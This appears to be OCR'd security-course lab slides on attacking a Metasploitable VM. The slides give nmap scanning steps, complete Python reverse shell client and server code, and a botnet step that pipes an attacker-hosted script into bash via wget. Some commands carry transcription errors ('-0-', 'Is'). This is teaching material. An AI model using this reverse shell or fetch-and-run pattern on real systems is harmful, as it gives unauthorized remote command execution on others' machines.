

Abstract steps you should take to reverse shell:

- 1. Scan the metasploitable server using nmap
- 2. Find out what the options for nmap mean -sV, -sS, -sF, and -sX fun fact: the last one is called an XMas scan—find out why!
- 3. Write a reverse shell client try to read and undestand reverseshell.py in the following slide
- 4. Write a shell server
- 5. Start the server
- 6. Load the reverse shell in the metaspoitable server
 - 6.1 start a server in the folder with your shell files (hint: python3 -m http.server)
 - 6.2 use the backdoor to enter the metasploitable machine
 - 6.3 start the reverse shell on metaspoitable in the current nc session
 - 6.4 check whoami and pwd and Is sent to metasploitable from kali

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RW *scratch* (Text)
import sys
from subprocess import Popen, PIPE
from socket import *
# Get the server name from command line arguments
serverName = sys.argv[1]
serverPort = 8000
# Create IPv4 (AF_INET), TCP Socket (SOCK_STREAM)
clientSocket = socket(AF_INET, SOCK_STREAM)
# Connect to the server
clientSocket.connect((serverName, serverPort))
# Send initial message to the server
clientSocket.send('Bot reporting for duty'.encode())
# Receive initial command from the server
command = clientSocket.recv(4064).decode()
# Main loop to execute commands
while command != "exit":
   # Execute the received command
   proc = Popen(command.split(" "), stdout=PIPE, stderr=PIPE)
   # Get the result of the command execution
   result, err = proc.communicate()
   # Send the result back to the server
   clientSocket.send(result)
   # Receive the next command
   command = clientSocket.recv(4064).decode()
# Close the client socket when done
clientSocket.close()
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RW *scratch* (Text)
from socket import *
serverPort = 8888
# Create a TCP socket
serverSocket = socket(AF_INET, SOCK_STREAM)
# Allow reuse of the address
serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# Bind the socket to all interfaces on the specified port
serverSocket.bind(('', serverPort))
# Listen for incoming connections
serverSocket.listen(1)
print("Attacker box listening and awaiting instructions")
# Accept a client connection
connectionSocket, addr = serverSocket.accept()
print("Thanks for connecting to me " + str(addr))
# Receive initial message from client
message = connectionSocket.recv(1024)
print(message)
command = ""
while command != "exit":
   command = input("Please enter a command: ")
   connectionSocket.send(command.encode())
   message = connectionSocket.recv(1024).decode()
   print(message)
# Shutdown and close the connection
connectionSocket.shutdown(SHUT_RDWR)
connectionSocket.close()
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Abstract steps you should take make a simple botnet:

- 1. touch commands.sh (research what files with the sh postfix denote)
- 2. echo "ping blah" > commands.sh (research output redirection in UNIX)
- 3. start a server python3 -m http.server 8080
- 4. in metasploitable run wget -0- <ip-server-bot> :8080.sh | bash (research pipe operators in UNIX)

Exercises:

- 1. Create a multiclient bot server (hint: socketserver library in python)
- 2. Write a python program that takes an IP address ass a single command line arugment and runs SYN scan on all the ports of that address (hint: use scapy)
- 3. Write a python program that detects an XMas scan